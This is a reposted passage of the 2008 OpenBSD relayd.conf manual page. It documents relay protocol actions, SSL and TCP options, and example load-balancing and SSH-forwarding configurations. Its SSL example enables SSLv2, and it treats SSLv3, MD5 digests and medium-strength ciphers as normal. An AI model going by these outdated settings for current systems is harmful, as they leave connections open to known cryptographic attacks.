www.example.com/1/2/
www.example.com/1/2/3/
example.com/1/2/3/4/5.html?query=yes
example.com/1/2/3/4/5.html
example.com/
example.com/1/
example.com/1/2/
example.com/1/2/3/
? [action] may be one of:
? append value to key
Append the specified value to a protocol entity with the selected
name.? When using the http protocol, key will indicate a speci-
fied HTTP header.?If key does not exist in the request, it will
be created with the value set to value.
The value string may contain predefined macros that will be ex-
panded at runtime:
? $REMOTE_ADDR? The IP address of the connected client.
$REMOTE_PORT? The TCP source port of the connected client.
$SERVER_ADDR? The configured IP address of the relay.
$SERVER_PORT? The configured TCP server port of the relay.
$TIMEOUT? The configured session timeout of the relay.
? change key to value
Like the append directive above, but change the contents of the
specified entity.?If key does not exist in the request, it will
be created with the value set to value.
The value string may contain predefined macros that will be ex-
panded at runtime, as detailed for the append directive above.
? expect value from key
Expect an entity key and match against value using shell globbing
rules.? If the entity is not present or the value doesn’t match,
the connection will be dropped.
? expect [digest] key
Expect an entity key with any possible value.? This is the short
form of expect * from key.
If the digest keyword is specified, compare the message digest of
the entity against the defined string.? The algorithm used is de-
termined by the string length of the key argument, either SHA1
(40 characters) or MD5 (32 characters).? To compute the digest,
use this simple command:
? $ echo -n “example.com/path/?args” | sha1
? filter value from key
Like the expect .. from directive above, but drop any connections
with the specified entity key and a matching value.
? filter [digest] key
Like the expect directive above, but drop any connections with
the specified entity key and any possible value.? This is the
short form of filter * from key.
? hash key
Feed the value of the selected entity into the load balancing
hash to select the target host.? See the table keyword in the
RELAYS section above.
? log key
Log the name and the value of the entity.
? mark [value from] key with id
Mark the session with the specified identifier (a positive number
between 1 and 65535) if the specified condition matches.? Note
that the mark action does not accept the marked option (see
above).
? label string
Add a label to subsequently added actions.? The label will be
printed as part of the error message if the return error option
is set and may contain HTML tags, for example:
? label “<a href=’http://example.com/advisory.pl?id=7359′>\
Advisory provided by example.com</a>”
url filter digest 5c1e03f58f8ce0b457474ffb371fd1ef
url filter digest 80c1a7b8337462093ef8359c57b4d56a
no label
? no label
Do not set a label for subsequently added actions; this is the
default.
? remove key
Remove the entity with the selected name.
? return error [option]
Return an error reponse to the client if an internal operation or
the forward connection to the client failed.? By default, the
connection will be silently dropped.? The effect of this option
depends on the protocol: HTTP will send an error header and page
to the client before closing the connection.? Additional valid
options are:
style string
Specify a Cascading Style Sheet (CSS) to be used for the
returned HTTP error pages, for example:
body { background: #a00000; color: white; }
? ssl option
Set the SSL options and session settings.?This is only used if
SSL is enabled in the relay.? Valid options are:
ciphers string
Set the string defining the SSL cipher suite.? If not
specified, the default value HIGH:!ADH will be used
(strong crypto cipher suites without anonymous DH).? See
the CIPHERS section of openssl(1) for information about
SSL cipher suites and preference lists.
session cache value
Set the maximum size of the SSL session cache.? If the
value is zero, the default size defined by the SSL li-
brary will be used.? A positive number will set the maxi-
mum size in bytes and the keyword disable will disable
the SSL session cache.
[no] sslv2
Enable the SSLv2 protocol; disabled by default.
[no] sslv3
Disable the SSLv3 protocol; enabled by default.
[no] tlsv1
Disable the TLSv1/SSLv3.1 protocol; enabled by default.
? tcp option
Enable or disable the specified TCP/IP options; see tcp(4) and
ip(4) for more information about the options.? Valid options are:
backlog number
Set the maximum length the queue of pending connections
may grow to.? The backlog option is 10 by default and is
limited by the kern.somaxconn sysctl(8) variable.
ip minttl number
This option for the underlying IP connection may be used
to discard packets with a TTL lower than the specified
value.? This can be used to implement the Generalized TTL
Security Mechanism (GTSM) according to RFC 3682.
ip ttl? Change the default time-to-live value in the IP headers.
[no] nodelay
Enable the TCP NODELAY option for this connection.? This
is recommended to avoid delays in the relayed data
stream, e.g. for SSH connections.
[no] sack
Use selective acknowledgements for this connection.
socket buffer number
Set the socket-level buffer size for input and output for
this connection.? This will affect the TCP window size.
FILES
/etc/relayd.conf relayd(8) configuration file.
? /etc/services Service name database.
? /etc/ssl/address.crt
/etc/ssl/private/address.key Location of the relay SSL server certifi-
cates, where address is the configured IP
address of the relay.
EXAMPLES
This configuration file would create a service “www” which load bal-
ances four hosts and falls back to one host containing a “sorry page”:
www1=front-www1.private.example.com
www2=front-www2.private.example.com
www3=front-www3.private.example.com
www4=front-www4.private.example.com
interval 5
table <phphosts> { $www1, $www2, $www3, $www4 }
table <sorryhost> disable { sorryhost.private.example.com }
redirect “www” {
listen on www.example.com port 8080 interface trunk0
listen on www6.example.com port 80 interface trunk0
? tag REDIRECTED
? forward to <phphosts> port 8080 timeout 300 \
check http “/” digest “630aa3c2f…”
forward to <sorryhost> port 8080 timeout 300 check icmp
}
? The following configuration would add a relay to forward secure HTTPS
connections to a pool of HTTP webservers using the loadbalance mode (SSL
acceleration and layer 7 load balancing).?The HTTP protocol definition
will add two HTTP headers containing address information of the client
and the server, set the “Keep-Alive” header value to the configured
session timeout, and include the “sessid” variable in the hash to cal-
culate the target host:
http protocol “http_ssl” {
header append “$REMOTE_ADDR” to “X-Forwarded-For”
header append “$SERVER_ADDR:$SERVER_PORT” to “X-Forwarded-By”
header change “Keep-Alive” to “$TIMEOUT”
query hash “sessid”
cookie hash “sessid”
path filter “*command=*” from “/cgi-bin/index.cgi”
? ssl { sslv2, ciphers “MEDIUM:HIGH” }
}
relay “sslaccel” {
listen on www.example.com port 443 ssl
protocol “http_ssl”
forward to <phphosts> port 8080 mode loadbalance check tcp
}
? The second relay example will accept incoming connections to port 2222
and forward them to a remote SSH server.? The TCP nodelay option will al-
low a “smooth” SSH session without delays between keystrokes or dis-
played output on the terminal:
protocol “myssh” {
tcp { nodelay, socket buffer 65536 }
}
relay “sshforward” {
listen on www.example.com port 2222
protocol “myssh”
forward to shell.example.com port 22
}
SEE ALSO
relayctl(8), relayd(8), snmpd(8), ssl(8)
HISTORY
The relayd.conf file format, formerly known as hoststated.conf, first ap-
peared in OpenBSD 4.1.? It was renamed to relayd.conf in OpenBSD 4.3.
AUTHORS
The relayd(8) program was written by Pierre-Yves Ritschard
<pyr@openbsd.org> and Reyk Floeter <reyk@openbsd.org>.
OpenBSD 4.3 March 3, 2008? 11
Pages: Prev 1 2 3 ...22 23 24 25 26 27 28 29 30 31 32 Next
« 较近文章早前文章 »

Copyright @ 2006-2010 houquner.com. All Rights Reserved.   京ICP备09057126号